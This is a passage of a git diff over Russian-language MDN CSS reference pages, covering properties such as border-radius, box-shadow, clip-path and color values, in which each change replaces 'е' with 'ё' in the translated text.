href="/ru/docs/Web/CSS">CSS</a>-свойство, позволяющее разработчикам определять, как скругляются границы блока. Закругленность каждого угла определяется с помощью одного или двух радиусов, определяя его форму: круг или эллипс.</p> +<p><strong><code>border-radius</code></strong> — это <a href="/ru/docs/Web/CSS">CSS</a>-свойство, позволяющее разработчикам определять, как скругляются границы блока. Закруглённость каждого угла определяется с помощью одного или двух радиусов, определяя его форму: круг или эллипс.</p> <div>{{EmbedInteractiveExample("pages/css/border-radius.html")}}</div> @@ -22,7 +22,7 @@ translation_of: Web/CSS/border-radius <p>Свойство <code>border-radius</code> не применяется к элементам таблицы, когда свойство {{Cssxref ("border-collapse")}} имеет значение <code>collapse</code>.</p> -<div class="note"><strong>Замечание:</strong> Как и с любым другим сокращенным свойством, отдельные подсвойства не могут наследоваться. Например, как в <code>border-radius:0 0 inherit inherit</code>, что будет частично переопределять существующие определения. Вместо этого должны использоваться отдельные длинные свойства.</div> +<div class="note"><strong>Замечание:</strong> Как и с любым другим сокращённым свойством, отдельные подсвойства не могут наследоваться. Например, как в <code>border-radius:0 0 inherit inherit</code>, что будет частично переопределять существующие определения. Вместо этого должны использоваться отдельные длинные свойства.</div> <h2 id="Синтаксис">Синтаксис</h2> @@ -39,7 +39,7 @@ border-radius: 2px 4px 2px; /* <em>top-left</em> | <em>top-right</em> | <em>bottom-right</em> | <em>bottom-left</em> */ border-radius: 1px 0 3px 4px; -<strong>/* Синтаксис из двух радиусов также может применяться ко всем четырем углам */</strong> +<strong>/* Синтаксис из двух радиусов также может применяться ко всем четырём углам */</strong> /* (первые значения радиуса) /<em>радиус</em> */ border-radius: 10px 5% / 20px; diff --git a/files/ru/web/css/border-width/index.html b/files/ru/web/css/border-width/index.html index 05b2360748..19fe6770ab 100644 --- a/files/ru/web/css/border-width/index.html +++ b/files/ru/web/css/border-width/index.html @@ -7,7 +7,7 @@ translation_of: Web/CSS/border-width <h2 id="Summary">Summary</h2> -<p>CSS свойство {{cssxref("border-width")}}<span style="line-height: 1.5;"> определяет ширину рамки элемента. Но обычно ее задают не отдельно, а в составе свойства {{cssxref("border")}}.</span></p> +<p>CSS свойство {{cssxref("border-width")}}<span style="line-height: 1.5;"> определяет ширину рамки элемента. Но обычно её задают не отдельно, а в составе свойства {{cssxref("border")}}.</span></p> <p>{{cssinfo}}</p> diff --git a/files/ru/web/css/border/index.html b/files/ru/web/css/border/index.html index 6ae7e6460b..93ce8b8020 100644 --- a/files/ru/web/css/border/index.html +++ b/files/ru/web/css/border/index.html @@ -25,7 +25,7 @@ border: medium dashed green; <p> </p> <div class="note style-wrap"> -<p><strong>Замечание:</strong> Рекомендуется использовать <code>border</code>, когда вы хотите установить все свойства границ одновременно. Тогда как универсальные свойства {{Cssxref("border-width")}}, {{Cssxref("border-style")}}, и {{Cssxref("border-color")}} принимают до четырех значений, позволяя установить различные значения для каждого ребра, <code>border</code> принимает единственное значение для каждого свойства. И этот стиль применяется для всех четырех границ.</p> +<p><strong>Замечание:</strong> Рекомендуется использовать <code>border</code>, когда вы хотите установить все свойства границ одновременно. Тогда как универсальные свойства {{Cssxref("border-width")}}, {{Cssxref("border-style")}}, и {{Cssxref("border-color")}} принимают до четырёх значений, позволяя установить различные значения для каждого ребра, <code>border</code> принимает единственное значение для каждого свойства. И этот стиль применяется для всех четырёх границ.</p> </div> <h2 id="Syntax" name="Syntax">Синтаксис</h2> diff --git a/files/ru/web/css/bottom/index.html b/files/ru/web/css/bottom/index.html index c0190058df..5ecde8ca47 100644 --- a/files/ru/web/css/bottom/index.html +++ b/files/ru/web/css/bottom/index.html @@ -150,7 +150,7 @@ div { <h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузером</h2> <div> -<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на перенос.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на перенос.</div> <p>{{Compat("css.properties.bottom")}}</p> </div> diff --git a/files/ru/web/css/box-shadow/index.html b/files/ru/web/css/box-shadow/index.html index b50dded28d..3366118622 100644 --- a/files/ru/web/css/box-shadow/index.html +++ b/files/ru/web/css/box-shadow/index.html @@ -53,7 +53,7 @@ box-shadow: unset; <ul> <li>Если задано только два значения, они интерпретируется как <code><a href="#<offset-x> <offset-y>"><offset-x><offset-y></a></code> values.</li> <li>Если задано третье значение, оно понимается как <code><a href="#<blur-radius>"><blur-radius></a></code>.</li> - <li>Если задано четвертое значение, оно интерпретируется <code><a href="#<spread-radius>"><spread-radius></a></code>.</li> + <li>Если задано четвёртое значение, оно интерпретируется <code><a href="#<spread-radius>"><spread-radius></a></code>.</li> </ul> </li> <li>Дополнительно, можно задать ключевое слово <code><a href="#inset">inset</a></code>.</li> diff --git a/files/ru/web/css/box-sizing/index.html b/files/ru/web/css/box-sizing/index.html index f0d5760e9e..72dda8d87a 100644 --- a/files/ru/web/css/box-sizing/index.html +++ b/files/ru/web/css/box-sizing/index.html @@ -38,7 +38,7 @@ translation_of: Web/CSS/box-sizing <dl> <dt><code>content-box</code></dt> - <dd>Это значение по умолчанию, определенное в CSS стандарте. Свойства <a href="/ru/docs/Web/CSS/width">width</a> и <a href="/ru/docs/Web/CSS/height">height</a> включают исключительно контент, и не включают <a href="/ru/docs/Web/CSS/padding">padding</a> и <a href="/ru/docs/Web/CSS/border">border</a>. Например <code>.box {width: 350px; border: 10px solid black;}</code> будет иметь ширину 370 пикселей.</dd> + <dd>Это значение по умолчанию, определённое в CSS стандарте. Свойства <a href="/ru/docs/Web/CSS/width">width</a> и <a href="/ru/docs/Web/CSS/height">height</a> включают исключительно контент, и не включают <a href="/ru/docs/Web/CSS/padding">padding</a> и <a href="/ru/docs/Web/CSS/border">border</a>. Например <code>.box {width: 350px; border: 10px solid black;}</code> будет иметь ширину 370 пикселей.</dd> <dd>Размеры элемента рассчитываются следующим образом: <em>width = ширина контента</em>, и <em>height = высота контента</em>. (Границы и внутренние отступы не включаются в вычисление.)</dd> </dl> diff --git a/files/ru/web/css/calc()/index.html b/files/ru/web/css/calc()/index.html index 5dd08d22f0..550760de0a 100644 --- a/files/ru/web/css/calc()/index.html +++ b/files/ru/web/css/calc()/index.html @@ -44,7 +44,7 @@ translation_of: Web/CSS/calc() <h3 id="Позиционирование_объекта_в_окне_с_помощью_отступа">Позиционирование объекта в окне с помощью отступа</h3> -<p><code>calc()</code> делает простым позиционирование объекта с помощью отступа. В этом примере создается баннер занимающий в ширину все окно с отступами по краям в 40px. </p> +<p><code>calc()</code> делает простым позиционирование объекта с помощью отступа. В этом примере создаётся баннер занимающий в ширину все окно с отступами по краям в 40px. </p> <pre class="brush: css notranslate">.banner { position: absolute; diff --git a/files/ru/web/css/class_selectors/index.html b/files/ru/web/css/class_selectors/index.html index 714ac4588e..99c15c63d6 100644 --- a/files/ru/web/css/class_selectors/index.html +++ b/files/ru/web/css/class_selectors/index.html @@ -7,7 +7,7 @@ translation_of: Web/CSS/Class_selectors <h2 id="Summary" name="Summary">Краткое описание</h2> -<p>В HTML документе, селекторы по CSS классу находят элементы с нужным классом. Атрибут класса определяется как разделенный пробелами список элементов, и один из этих пунктов должен точно соответствовать имени класса, приведенному в селекторе.</p> +<p>В HTML документе, селекторы по CSS классу находят элементы с нужным классом. Атрибут класса определяется как разделённый пробелами список элементов, и один из этих пунктов должен точно соответствовать имени класса, приведённому в селекторе.</p> <h2 id="Syntax" name="Syntax">Синтаксис</h2> diff --git a/files/ru/web/css/clear/index.html b/files/ru/web/css/clear/index.html index 241ee74c7a..146132dfe3 100644 --- a/files/ru/web/css/clear/index.html +++ b/files/ru/web/css/clear/index.html @@ -21,7 +21,7 @@ translation_of: Web/CSS/clear <p>Поплавки, которые имеют отношение к очистке, - это более ранние поплавки в одном и том же <a href="/en-US/docs/CSS/block_formatting_context" title="CSS/block_formatting_context">контексте форматирования блоков</a>. </p> <div class="note"> -<p><strong>Заметка:</strong> Если элемент содержит только плавающие элементы, его высота сворачивается в ничто. Если вы хотите, чтобы он всегда мог изменять размер, чтобы он содержал в себе плавающие элементы, вам нужно самоочистить своих детей. Это называется <strong>clearfix,</strong> и один из способов сделать это - это заменит <code>clear</code> замененный {{cssxref("::after")}} <a href="/en-US/docs/Web/CSS/Pseudo-elements">псевдоэлемент</a> на нем.</p> +<p><strong>Заметка:</strong> Если элемент содержит только плавающие элементы, его высота сворачивается в ничто. Если вы хотите, чтобы он всегда мог изменять размер, чтобы он содержал в себе плавающие элементы, вам нужно самоочистить своих детей. Это называется <strong>clearfix,</strong> и один из способов сделать это - это заменит <code>clear</code> заменённый {{cssxref("::after")}} <a href="/en-US/docs/Web/CSS/Pseudo-elements">псевдоэлемент</a> на нем.</p> <pre class="brush: css">#container::after { content: ""; @@ -224,7 +224,7 @@ p { <h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузером</h2> -<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на перенос.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на перенос.</div> <p>{{Compat("css.properties.clear")}}</p> diff --git a/files/ru/web/css/clip-path/index.html b/files/ru/web/css/clip-path/index.html index 69fe7f99ed..55a8b1259a 100644 --- a/files/ru/web/css/clip-path/index.html +++ b/files/ru/web/css/clip-path/index.html @@ -5,7 +5,7 @@ translation_of: Web/CSS/clip-path --- <div>{{CSSRef}}{{SeeCompatTable}}</div> -<p><a href="/en-US/docs/Web/CSS">CSS</a> свойство <code><strong>clip-path</strong></code> создает ограниченную область, которая определяет какая часть элемента должна быть видимой. Те части, которые находятся внутри области, видимы, в то время как части вне области, скрыты. Обрезанная область - это траектория, определяемая либо как внутренняя ссылка, либо как внешний SVG , либо как фигура, такая как круг (<code><a href="https://developer.mozilla.org/ru/docs/Web/SVG/%D0%AD%D0%BB%D0%B5%D0%BC%D0%B5%D0%BD%D1%82/circle">circle()</a></code>).</p> +<p><a href="/en-US/docs/Web/CSS">CSS</a> свойство <code><strong>clip-path</strong></code> создаёт ограниченную область, которая определяет какая часть элемента должна быть видимой. Те части, которые находятся внутри области, видимы, в то время как части вне области, скрыты. Обрезанная область - это траектория, определяемая либо как внутренняя ссылка, либо как внешний SVG , либо как фигура, такая как круг (<code><a href="https://developer.mozilla.org/ru/docs/Web/SVG/%D0%AD%D0%BB%D0%B5%D0%BC%D0%B5%D0%BD%D1%82/circle">circle()</a></code>).</p> <div class="note"> <p><strong>Историческая справка:</strong> Свойство clip-path заменило устаревшее свойство {{cssxref("clip")}} .</p> @@ -456,14 +456,14 @@ svg text.em { <dt><code>inset()</code>, <code>circle()</code>, <code>ellipse()</code>, <code>polygon()</code></dt> <dd>Функция {{cssxref("<basic-shape>")}}. Размер и положение области определяется значением <code><geometry-box></code>. Если геометрия не определена,<code>border-box</code> будет использоваться в качестве блока.</dd> <dt><code><geometry-box></code></dt> - <dd>Если определен в комбинации с <code><basic-shape></code>, это значение определяет блок для базовой области. Если задан самостоятельно, определяет границы блока, включая формирование углов (такое как {{cssxref("border-radius")}}). Геометрия может быть определена с помощью одного из следующих значений: + <dd>Если определён в комбинации с <code><basic-shape></code>, это значение определяет блок для базовой области. Если задан самостоятельно, определяет границы блока, включая формирование углов (такое как {{cssxref("border-radius")}}). Геометрия может быть определена с помощью одного из следующих значений: <dl> <dt><code>fill-box</code></dt> <dd>Использует границы объекта в качестве базовой области.</dd> <dt><code>stroke-box</code></dt> <dd>Использует stroke bounding box в качестве базовой области.</dd> <dt><code>view-box</code></dt> - <dd>Использует ближайший SVG viewport в качестве базового блока. Если атрибут {{SVGAttr("viewBox")}} определен для элемента, создающего SVG viewport, базовый блок позиционируется в оригинальной системе координат, установленной атрибутом <code>viewBox</code> и ширина и высота базового блока устанавливаются равными значениям атрибута <code>viewBox</code>.</dd> + <dd>Использует ближайший SVG viewport в качестве базового блока. Если атрибут {{SVGAttr("viewBox")}} определён для элемента, создающего SVG viewport, базовый блок позиционируется в оригинальной системе координат, установленной атрибутом <code>viewBox</code> и ширина и высота базового блока устанавливаются равными значениям атрибута <code>viewBox</code>.</dd> <dt><code>margin-box</code></dt> <dd>Использует <a href="CSS_Box_Model/Introduction_to_the_CSS_box_model">margin box</a> в качестве базового блока.</dd> <dt><code>border-box</code></dt> diff --git a/files/ru/web/css/color_value/index.html b/files/ru/web/css/color_value/index.html index 08edbe380a..9af9b77755 100644 --- a/files/ru/web/css/color_value/index.html +++ b/files/ru/web/css/color_value/index.html @@ -10,7 +10,7 @@ translation_of: Web/CSS/color_value <p>В <code><color></code> может быть определена любым из следующих способов can.</p> <ul> - <li>Использование или подключенного свойства веденного в параметр (например, <code>blue</code> или <code>transparent</code>)</li> + <li>Использование или подключённого свойства ведённого в параметр (например, <code>blue</code> или <code>transparent</code>)</li> <li>Использование <a href="https://en.wikipedia.org/wiki/RGB_color_model#Geometric_representation">кубической системы координат RGB</a> (via the #-hexadecimal or the <code>rgb()</code> and <code>rgba()</code> functional notations)<img alt="Цветовая модель представлена виде куба" src="https://en.wikipedia.org/wiki/RGB_color_model#/media/File:RGB_color_solid_cube.png" style="height: 200px; width: 200px;"></li> <li>Использование <a href="https://en.wikipedia.org/wiki/HSL_and_HSV">цилиндрической системы координат HSL</a> (через функциональные обозначения <code>hsl()</code> и <code>hsla()</code>) </li> </ul> @@ -21,7 +21,7 @@ translation_of: Web/CSS/color_value <h2 id="Синтаксис">Синтаксис </h2> -<p>Для типа данных задается <code><color></code> с помощью одного из следующих параметров.</p> +<p>Для типа данных задаётся <code><color></code> с помощью одного из следующих параметров.</p> <div class="note"> <p><strong>Заметка:</strong> значения <code><color></code> точно определены, их фактический внешний вид может отличаться (иногда значительно) от устройства к устройству. Это связано с тем что большинство устройств не откалиброваны, а некоторые браузеры не поддерживают цветовые профили <a href="https://en.wikipedia.org/wiki/ICC_profile">устройств вывода</a>.</p> @@ -29,12 +29,12 @@ translation_of: Web/CSS/color_value <h3 id="Ключевые_цвета">Ключевые цвета</h3> -<p>Ключевые слова для цвета - это идентификаторы без учета регистра, представляющие определенный цвет, например <code>red</code>, <code>blue</code>, <code>black</code> или <code>lightseagreen</code>. Хотя названия более или менее описывают их соответствующие цвета, они по существу искусственны, без строгого обоснования используемых имен. </p> +<p>Ключевые слова для цвета - это идентификаторы без учёта регистра, представляющие определённый цвет, например <code>red</code>, <code>blue</code>, <code>black</code> или <code>lightseagreen</code>. Хотя названия более или менее описывают их соответствующие цвета, они по существу искусственны, без строгого обоснования используемых имен. </p> <p>Есть несколько предостережений, которые следует учитывать при использовании ключевых слов цвета:</p> <ul> - <li><a href="/en-US/docs/Web/HTML">HTML</a> распознает только 16 основных цветовых ключевых слов, найденных в CSS1, используя определенный алгоритм для преобразования нераспознанных значений (часто в совершенно разные цвета). Другие ключевые слова цвета должны использоваться только в CSS и <a href="/en-US/docs/Web/SVG">SVG</a>.</li> + <li><a href="/en-US/docs/Web/HTML">HTML</a> распознает только 16 основных цветовых ключевых слов, найденных в CSS1, используя определённый алгоритм для преобразования нераспознанных значений (часто в совершенно разные цвета). Другие ключевые слова цвета должны использоваться только в CSS и <a href="/en-US/docs/Web/SVG">SVG</a>.</li> <li>В отличие от HTML, CSS будет полностью игнорировать неизвестные ключевые слова.</li> <li>Ключевые слова цвета все представляют собой простые, сплошные цвета, без прозрачности.</li> <li>Несколько ключевых слов являются псевдонимами друг для друга: @@ -977,11 +977,11 @@ translation_of: Web/CSS/color_value <p>Ключевое слово <code>transparent</code> представляет собой полностью прозрачный цвет. Это делает фон позади цветного элемента полностью видимым. Технически <code>transparent </code>- это ярлык для <code>rgba (0,0,0,0)</code>.</p> <div class="note"> -<p><strong>Примечание по совместимости:</strong> чтобы предотвратить непредвиденное поведение, например, в {{cssxref ("градиент")}}, текущая спецификация CSS утверждает, что <code>transparent</code> должен быть вычислен в <a href="https://www.w3.org/TR/2012/CR-css3-images-20120417/#color-stop-syntax">Альфа-предварительно умноженном цветовом пространстве</a>. Однако имейте в виду, что старые браузеры могут рассматривать его как черный с Альфа-значением <code>0</code>.</p> +<p><strong>Примечание по совместимости:</strong> чтобы предотвратить непредвиденное поведение, например, в {{cssxref ("градиент")}}, текущая спецификация CSS утверждает, что <code>transparent</code> должен быть вычислен в <a href="https://www.w3.org/TR/2012/CR-css3-images-20120417/#color-stop-syntax">Альфа-предварительно умноженном цветовом пространстве</a>. Однако имейте в виду, что старые браузеры могут рассматривать его как чёрный с Альфа-значением <code>0</code>.</p> </div> <div class="note"> -<p><strong>Историческая запись:</strong> <code>transparent</code> не был истинным цветом на уровне CSS 2 (Редакция 1). Это было специальное ключевое слово, которое можно было использовать вместо обычного значения <code><color></code> для двух свойств CSS: {{Cssxref("background")}} и {{Cssxref("border")}}. Он был существенно добавлен, чтобы позволить разработчикам переопределить унаследованный сплошной цвет. С появлением Альфа-каналов в CSS Colors Level 3, <code>transparent </code>был переопределен как истинный цвет. Теперь его можно использовать везде, где можно использовать значение <code><color></code>.</p> +<p><strong>Историческая запись:</strong> <code>transparent</code> не был истинным цветом на уровне CSS 2 (Редакция 1). Это было специальное ключевое слово, которое можно было использовать вместо обычного значения <code><color></code> для двух свойств CSS: {{Cssxref("background")}} и {{Cssxref("border")}}. Он был существенно добавлен, чтобы позволить разработчикам переопределить унаследованный сплошной цвет. С появлением Альфа-каналов в CSS Colors Level 3, <code>transparent </code>был переопределён как истинный цвет. Теперь его можно использовать везде, где можно использовать значение <code><color></code>.</p> </div> <h3 id="currentColor_ключевое_слово"><code><a id="currentColor" name="currentColor">currentColor</a></code> ключевое слово</h3> @@ -1002,7 +1002,7 @@ translation_of: Web/CSS/color_value <h3 id="RGB_цвет">RGB цвет</h3> -<p>Цветовая модель RGB определяет заданный цвет в соответствии с его красными, зелеными и синими компонентами. Дополнительный Альфа-компонент представляет прозрачность цвета.</p> +<p>Цветовая модель RGB определяет заданный цвет в соответствии с его красными, зелёными и синими компонентами. Дополнительный Альфа-компонент представляет прозрачность цвета.</p> <h4 id="Синтаксис">Синтаксис</h4> @@ -1014,13 +1014,13 @@ translation_of: Web/CSS/color_value <dl> <dt>Шестнадцатеричное представление: <code>#RRGGBB[AA]</code></dt> - <dd><code>R</code> (red), <code>G</code> (green), <code>B</code> (blue), and <code>A</code> (alpha) are hexadecimal characters (0-9, A-F). <code>A</code> is optional. For example, <code>#ff0000</code> is equivalent to <code>#ff0000ff</code>. <code>R</code> (красный), G (зеленый), B (синий) и A (Альфа) являются шестнадцатеричными символами (0-9, A-F). Это не является обязательным. Например, <code>#ff0000</code> эквивалентно<code> #ff0000ff</code>.</dd> + <dd><code>R</code> (red), <code>G</code> (green), <code>B</code> (blue), and <code>A</code> (alpha) are hexadecimal characters (0-9, A-F). <code>A</code> is optional. For example, <code>#ff0000</code> is equivalent to <code>#ff0000ff</code>. <code>R</code> (красный), G (зелёный), B (синий) и A (Альфа) являются шестнадцатеричными символами (0-9, A-F). Это не является обязательным. Например, <code>#ff0000</code> эквивалентно<code> #ff0000ff</code>.</dd> <dt>Шестнадцатеричное представление: <code>#RGB[A]</code></dt> - <dd><code>R</code> (красный), <code>G</code> (зеленый), <code>B</code> (синий) и <code>A</code> (Альфа) являются шестнадцатеричными символами (0-9, A-F). Это не является обязательным. Трехзначная нотация (<code>#RGB</code>) является более короткой версией шестизначной формы (<code>#RRGGBB</code>). Например, <code>#f09</code> имеет тот же цвет, что и <code>#ff0099</code>. Кроме того, четырехзначная нотация RGB (<code>#RGB</code>) является более короткой версией восьмизначной формы (<code>#RRGGBBAA</code>). Например, #0f38 имеет тот же цвет, что и <code>#00ff3388</code>.</dd> + <dd><code>R</code> (красный), <code>G</code> (зелёный), <code>B</code> (синий) и <code>A</code> (Альфа) являются шестнадцатеричными символами (0-9, A-F). Это не является обязательным. Трёхзначная нотация (<code>#RGB</code>) является более короткой версией шестизначной формы (<code>#RRGGBB</code>). Например, <code>#f09</code> имеет тот же цвет, что и <code>#ff0099</code>. Кроме того, четырёхзначная нотация RGB (<code>#RGB</code>) является более короткой версией восьмизначной формы (<code>#RRGGBBAA</code>). Например, #0f38 имеет тот же цвет, что и <code>#00ff3388</code>.</dd> <dt>Функциональная нотация: <code>rgb(R, G, B[, A])</code> или <code>rgba(R, G, B, A)</code></dt> - <dd><code>R</code> (красный), <code>G </code>(зеленый) и <code>B</code> (синий) могут быть либо {{cssxref("<number>")}}s, либо {{cssxref("<percentage>")}}s, где число <code>255 </code>соответствует <code>100%</code>. А (Альфа) может быть {{cssxref("<number>")}} между <code>0</code> и <code>1</code> или {{cssxref("<percentage>")}}, где число 1 соответствует <code>100%</code> (полная непрозрачность).</dd> + <dd><code>R</code> (красный), <code>G </code>(зелёный) и <code>B</code> (синий) могут быть либо {{cssxref("<number>")}}s, либо {{cssxref("<percentage>")}}s, где число <code>255 </code>соответствует <code>100%</code>. А (Альфа) может быть {{cssxref("<number>")}} между <code>0</code> и <code>1</code> или {{cssxref("<percentage>")}}, где число 1 соответствует <code>100%</code> (полная непрозрачность).</dd> <dt>Функциональная нотация: <code>rgb(R G B[ A])</code> or <code>rgba(R G B A)</code></dt> - <dd>CSS Colors Level 4 добавляет поддержку разделенных пробелами значений в функциональной нотации.</dd> + <dd>CSS Colors Level 4 добавляет поддержку разделённых пробелами значений в функциональной нотации.</dd> </dl> <h4 id="Пример">Пример</h4> @@ -1068,20 +1068,20 @@ rgb(1e2, .5e1, .5e0, +.25e2%) <h5 id="RGB_вариации_прозрачности">RGB вариации прозрачности</h5> <pre class="notranslate">/* Шестнадцатеричный синтаксис */ -#3a30 <span style="background: #3a30;"> /* 0% непрозрачный зеленый цвет */ </span> -#3A3F <span style="background: #3A3F;"> /* полный непрозрачный зеленый цвет */ </span> -#33aa3300 <span style="background: #33aa3300;"> /* 0% непрозрачный зеленый цвет */ </span> -#33AA3380 <span style="background: #33AA3380;"> /* 50% непрозрачный зеленый цвет */ </span> +#3a30 <span style="background: #3a30;"> /* 0% непрозрачный зелёный цвет */ </span> +#3A3F <span style="background: #3A3F;"> /* полный непрозрачный зелёный цвет */ </span> +#33aa3300 <span style="background: #33aa3300;"> /* 0% непрозрачный зелёный цвет */ </span> +#33AA3380 <span style="background: #33AA3380;"> /* 50% непрозрачный зелёный цвет */ </span> /* Функциональный синтаксис */ -rgba(51, 170, 51, .1) <span style="background: rgba(51, 170, 51, .1);"> /* непрозрачный зеленый цвет на 10% */ </span> -rgba(51, 170, 51, .4) <span style="background: rgba(51, 170, 51, .4);"> /* непрозрачный зеленый цвет на */ </span> -rgba(51, 170, 51, .7) <span style="background: rgba(51, 170, 51, .7);"> /* непрозрачный зеленый цвет на 70% */ </span> -rgba(51, 170, 51, 1) <span style="background: rgba(51, 170, 51, 1);"> /* полный непрозрачный зеленый цвет */ </span> +rgba(51, 170, 51, .1) <span style="background: rgba(51, 170, 51, .1);"> /* непрозрачный зелёный цвет на 10% */ </span> +rgba(51, 170, 51, .4) <span style="background: rgba(51, 170, 51, .4);"> /* непрозрачный зелёный цвет на */ </span> +rgba(51, 170, 51, .7) <span style="background: rgba(51, 170, 51, .7);"> /* непрозрачный зелёный цвет на 70% */ </span> +rgba(51, 170, 51, 1) <span style="background: rgba(51, 170, 51, 1);"> /* полный непрозрачный зелёный цвет */ </span> /* Синтаксис пробелов */ -rgba(51 170 51 / 0.4) <span> /* непрозрачный зеленый цвет на 40%*/ </span> -rgba(51 170 51 / 40%) <span> /* непрозрачный зеленый цвет на 40% */ +rgba(51 170 51 / 0.4) <span> /* непрозрачный зелёный цвет на 40%*/ </span> +rgba(51 170 51 / 40%) <span> /* непрозрачный зелёный цвет на 40% */ </span>/* Функциональный синтаксис со значением floats */ rgba(255, 0, 153.6, 1) @@ -1092,7 +1092,7 @@ rgba(1e2, .5e1, .5e0, +.25e2%) <p>Цветовая модель HSL определяет заданный цвет в соответствии с его компонентами оттенка, насыщенности и яркости. Дополнительный Альфа-компонент представляет прозрачность цвета.</p> -<p>Многие дизайнеры считают HSL более интуитивным, чем RGB, поскольку он позволяет независимо регулировать оттенок, насыщенность и легкость. HSL также может упростить создание набора подходящих цветов (например, когда вы хотите несколько оттенков одного оттенка).</p> +<p>Многие дизайнеры считают HSL более интуитивным, чем RGB, поскольку он позволяет независимо регулировать оттенок, насыщенность и лёгкость. HSL также может упростить создание набора подходящих цветов (например, когда вы хотите несколько оттенков одного оттенка).</p> <h4 id="Синтаксис_2">Синтаксис</h4> @@ -1104,14 +1104,14 @@ rgba(1e2, .5e1, .5e0, +.25e2%) <dl> <dt>Функциональная нотация: <code>hsl(H, S, L[, A])</code> или<code>hsla(H, S, L, A)</code></dt> - <dd><code>H</code> (hue) - это {{cssxref("<угол>")}} цветового круга, заданного в <code>deg</code>S, <code>rad</code>s, градусах или поворотах {{SpecName("CSS4 Colors","#The-HSL-notation")}}. При записи в виде unitless {{cssxref ("<number>")}} он интерпретируется как Градусы, как указано в {{SpecName ("CSS3 Colors","#hsl-color")}}. По определению, red=<code>0</code> deg=<code>360</code> град, с другими цветами, распространенными по кругу, поэтому green=120deg град, blue=240deg град и т. д. В качестве < угла > он неявно обертывается таким образом, что -120deg=240deg, 480deg=120deg, -1turn=1turn, и т. д.</dd> - <dd><code>S</code> (<code>насыщенность</code>) и <code>L</code> (<code>легкость</code>) являются процентами. <code>100%</code> насыщенность полностью насыщена, в то время как 0% полностью ненасыщен (серый). <code>100%</code> легкость белый, <code>0%</code> легкость черный, и <code>50%</code> легкость “<code>нормально</code>.”</dd> + <dd><code>H</code> (hue) - это {{cssxref("<угол>")}} цветового круга, заданного в <code>deg</code>S, <code>rad</code>s, градусах или поворотах {{SpecName("CSS4 Colors","#The-HSL-notation")}}. При записи в виде unitless {{cssxref ("<number>")}} он интерпретируется как Градусы, как указано в {{SpecName ("CSS3 Colors","#hsl-color")}}. По определению, red=<code>0</code> deg=<code>360</code> град, с другими цветами, распространёнными по кругу, поэтому green=120deg град, blue=240deg град и т. д. В качестве < угла > он неявно обёртывается таким образом, что -120deg=240deg, 480deg=120deg, -1turn=1turn, и т. д.</dd> + <dd><code>S</code> (<code>насыщенность</code>) и <code>L</code> (<code>лёгкость</code>) являются процентами. <code>100%</code> насыщенность полностью насыщена, в то время как 0% полностью ненасыщен (серый). <code>100%</code> лёгкость белый, <code>0%</code> лёгкость чёрный, и <code>50%</code> лёгкость “<code>нормально</code>.”</dd> <dd><code>A</code> (alpha) can be a {{cssxref("<number>")}} between <code>0</code> and <code>1</code>, or a {{cssxref("<percentage>")}}, where the number <code>1</code> corresponds to <code>100%</code> (full opacity). <code>A</code> (Альфа) может быть {{cssxref("<number>")}} между <code>0</code> и <code>1</code> или {{cssxref("<percentage>")}}, где число <code>1</code> соответствует <code>100%</code> (полная непрозрачность).</dd> </dl> <dl> <dt>Функциональная нотация: <code>hsl(H S L[ A])</code> or <code>hsla(H S L A)</code></dt> - <dd>CSS Colors Level 4 добавляет поддержку разделенных пробелами значений в функциональной нотации.</dd> + <dd>CSS Colors Level 4 добавляет поддержку разделённых пробелами значений в функциональной нотации.</dd> </dl> <h4 id="Examples">Examples</h4> @@ -1212,7 +1212,7 @@ hsl(270 60% 50% / 15%) </tbody> </table> -<h5 id="Более_светлая_и_более_темная_зелень">Более светлая и более темная зелень</h5> +<h5 id="Более_светлая_и_более_тёмная_зелень">Более светлая и более тёмная зелень</h5> <table class="standard-table"> <thead> @@ -1328,17 +1328,17 @@ hsla(240 100% 50% / 5%) <span style="background: hsla(240,100%,50%,0.05);"> <dt>Background</dt> <dd>Фон рабочего стола.</dd> <dt>ButtonFace</dt> - <dd>Цвет фона лица для трехмерных элементов, которые появляются 3-D из-за одного слоя окружающей границы. Следует использовать с текстом <code>ButtonText</code> цвет переднего плана.</dd> + <dd>Цвет фона лица для трёхмерных элементов, которые появляются 3-D из-за одного слоя окружающей границы. Следует использовать с текстом <code>ButtonText</code> цвет переднего плана.</dd> <dt>ButtonHighlight</dt> - <dd>Цвет границы, обращенной к источнику света для 3-D элементов, которые появляются 3-D из-за этого слоя окружающей границы.</dd> + <dd>Цвет границы, обращённой к источнику света для 3-D элементов, которые появляются 3-D из-за этого слоя окружающей границы.</dd> <dt>ButtonShadow</dt> - <dd>Цвет границы вдали от источника света для 3-D элементов, которые появляются 3-D из-за этого слоя окружающей границы. Цвет границы находится вдали от источника света для трехмерных элементов, которые появляются 3-D из-за этого слоя, окружающего границу.</dd> + <dd>Цвет границы вдали от источника света для 3-D элементов, которые появляются 3-D из-за этого слоя окружающей границы. Цвет границы находится вдали от источника света для трёхмерных элементов, которые появляются 3-D из-за этого слоя, окружающего границу.</dd> <dt>ButtonText</dt> <dd>Следует использовать с <code>ButtonFace</code> или <code>ThreeDFace</code> цвет фона.</dd> <dt>CaptionText</dt> <dd>Текст в заголовке, поле размера и поле со стрелкой прокрутки. Следует использовать с цветом фона <code>ActiveCaption</code>.</dd> <dt>GrayText</dt> - <dd>Серый (отключен) текст.</dd> + <dd>Серый (отключён) текст.</dd> <dt>Highlight</dt> <dd>Элемент(ы), выбранный в элементе управления. Следует использовать с <code>HighlightText</code> текста цветом переднего плана.</dd> <dt>HighlightText</dt> @@ -1360,15 +1360,15 @@ hsla(240 100% 50% / 5%) 